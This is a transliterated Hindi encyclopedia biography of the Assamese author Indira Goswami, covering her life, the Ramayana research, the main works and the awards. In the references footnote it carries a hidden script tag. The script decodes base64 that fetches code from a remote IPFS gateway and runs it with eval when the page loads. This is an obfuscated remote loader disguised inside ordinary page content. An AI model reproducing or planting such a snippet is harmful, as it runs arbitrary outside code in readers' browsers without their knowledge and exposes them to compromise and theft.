इंदिरा गोस्वामी
iandira gosvami
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| poora nam | iandira rayasam gosvami |
| janm | 14 navambar, 1942 |
| janm bhoomi | guvahati, asam |
| mrityu | 29 navambar, 2010 |
| mrityu sthan | guvahati, asam |
| karm bhoomi | bharat |
| karm-kshetr | asamiya sahity |
| vidyalay | guvahati vishvavidyalay |
| puraskar-upadhi |
|
| prasiddhi | sahityakar |
| nagarikata | bharatiy |
| any janakari | iandira gosvami ki rachanaoan ka adhikaansh bharatiy bhashaoan mean anuvad hua hai. jnanapith puraskar milane ke bad unaki rachanaoan ki or desh ka jyada dhyan gaya aur unaki anudooti rachanaoan ka moolyaankan ganbhirata se hone laga. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
iandira rayasam gosvami (aangrezi: Indira Raisom Goswami, janm- 14 navambar, 1942; mrityu- 29 navambar, 2010) asamiya sahity ki sashakt hastakshar thian. jnanapith puraskar se sammanit iandira gosvami ne asam ke charamapanthi sangathan 'ulpha' yani yunaited libareshan phrant aauph asam aur bharat sarakar ke bich madhyasth ki bhoomika nibhane ki rajanaitik pahal karane mean aham bhoomika nibhaee. inake dvara rachit ek upanyas 'mamare dhara taroval aru dukhan' ke liye unhean san 1982 mean sahity akadami puraskar (asamiya) se sammanit kiya gaya tha.
parichay
14 navambar, 1942 ko janmi iandira gosvami ki praranbhik shiksha shilaang mean huee lekin bad mean vah guvahati a geean aur age ki padhaee unhoanne ti si garls haeeskool aur katan kalej evan guvahati vishvavidyalay se poori ki. unaki lekhan pratibha ke darshan mahaj 20 sal mean us samay hi ho ge jab unaki kahaniyoan ka pahala sangrah 1962 mean prakashit hua jabaki unaki shiksha ka kram abhi chal hi raha tha. vah desh ke chunianda prasiddh samakalin lekhakoan mean se ek thian. unhean unake 'doantal hatir une khovada hovada' ('d moth eetan hovadah aauph e taskar'), 'pejej stend vid blad aur d main phr aaum chhinnamasta' upanyasoan ke lie jana jata hai.[1]
vivah ke sirph atharah mahine bad hi unake pati ki maut ho gee thi. isake bad apana saman aur gahane vahian baant kar ve kashmir se asam laut aee thian. lekin lekhan kabhi band nahian hua. ek abhijat parivar mean janm lene aur palane-badhane ke bavajood unaki najar hamesha samaj ke upekshit aur apamanit logoan par hi rahati thi. shayad unhean apane dukh, pidi़t logoan ke jivan mean hi dikhate the. unake sahity mean mahaloan mean jivan jine vale log nahian, unake asapas jhuggiyoan mean jine vale logoan ki kahaniyaan dikhati haian. un logoan ke sukh, dukh, hansana, rona hi thi unaki kalam ki shakti aur srishti ka adhar.
lekhan
iandira gosvami ki vyaktigat eemanadari ka parichay unake atmakathatmak upanyas 'd anaphinishad atobayographi'mean milata hai. isamean unhoanne apani jindagi ke tamam sangharshoan par roshani dali hai. yahaan tak ki is kitab mean unhoanne aisi ghatana ka bhi jikr kiya hai ki dabav mean akar unhoanne atmahatya karane jaisa kadam uthane ka prayas kiya tha. tab unhean unake beparavah bachapan aur pita ke patroan ki yadoan ne hi jivan diya. shayad isi eemanadari tatha atmalochana ke bal ne unhean asam ke agrani lekhakoan ki pankti mean lakar kh da kar diya.
iandira gosvami ko oopar ka sahityakar mana jata tha. bhoopen da aur mamoni baideu ka vyaktitv aur unaka rachana sansar poore desh ko prabhavit karata tha. ve bhale hi asamiya the, lekin ve donoan desh ke lie amooly sanpati the. philahal to kala jagat mean aisa koee asamiya chehara nahian hai, jise poore desh janata ho. ve donoan asam ke rashtriy chehare the. ek sur ka pratinidhitv karate the, doosara shabdoan ka. iandira gosvami ne vriandavan mean abhishapt vidhavaoan par upanyas likha to varanasi ke ghatoan ka bhi chitran kiya. apane shodh ke vishay ke roop mean kaandali ramayan aur tulasidas ke ramacharitamanas ka tulanatmak adhyayan ko chuna aur ramayani ban gee. ramayan par vyakhyan dene lagian. isake lie desh-videsh ka bhraman kiya aur kee samman prapt kiye. yah unake vyaktitv ka ek alag aur mahatvapoorn ayam tha.[1]
rachanaoan ka anuvad
iandira gosvami ki rachanaoan ka adhikaansh bharatiy bhashaoan mean anuvad hua hai. jnanapith puraskar milane ke bad unaki rachanaoan ki or desh ka jyada dhyan gaya aur unaki anudooti rachanaoan ka moolyaankan ganbhirata se hone laga. isalie hindi samet any bharatiy bhashaoan mean unaki rachanaoan ko utana hi chav se padha jata hai. yahi vajah hai ki kisi bhi bhasha ka sahity premi unhean unaki rachanaoan ke madhyam se janata hai.
kamil bulke se mulakat
ramayani sahity par iandira gosvami ka shodh bahut saraha gaya tha. vah phadar kamil bulke se raanchi mean mili thian. ye bat sanh 1972 ki hai. phadar ne iandira ji ko ram sahity ko samajhane ki nee prerana di. iandira ji ke jivan ke hadasoan ke vivaran sun kar unhoanne unase kaha tha, hamesha achchhe kam karate jao. achchhe kam ka phal kabhi bura nahian hota. is anokhi lekhika ka niji jivan ghatanaoan-durghatanaoan se bhara hua tha. gyarah sal ki umr mean hi ve avasad ka shikar ho gee thian. parivar mean ya asapas hone vali koee bhi durghatana unake avasad ko badha deti thi. kisi ki mrityu dekh kar vah ghabara uthati thian. apane pita ki mrityu unhoanne bahut hi karib se dekhi thi. har bar avasad ka samana karane ke lie ve kalam utha leti thian. unhoanne kaha bhi tha- "mere sharir mean khoon ke roop mean syahi bahati hai, isilie maian jianda hooan."[1]
mukhy kritiyaan
- upanyas
chenabar srot, nilakanthi braj, ahiran, chhinnamasta, mamare dhara taroval, datal hatir uve khova havada, tej aru dhooli dhoosarit prishth, blad-steand pejij, dakshini kamaroop ki gatha
- kahani sangrah
chinaki maram, kina, hriday ek nadir nam, priy galpo
- atmakatha
adha lekha dastavej
- shodh
ramayan phr aaum ganga too brahmaputr
samman
- jnanapith puraskar
- priansipal prians klaus lauret puraskar (dach sarakar)
- aantararashtriy tulasi puraskar (phlorida aantararashtriy vishvavidyalay)
- sahity akadami puraskar
- asam sahity sabha puraskar
- bharat nirman puraskar
- sauhard puraskar (uttar pradesh hiandi sansthan)
- kamalakumari phauandeshan puraskar
mrityu
iandira gosvami ki mrityu 29 navambar, 2010 ko huee.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 iandira gosvami jivani (hiandi) jivani.org. abhigaman tithi: 01 janavari, 2022.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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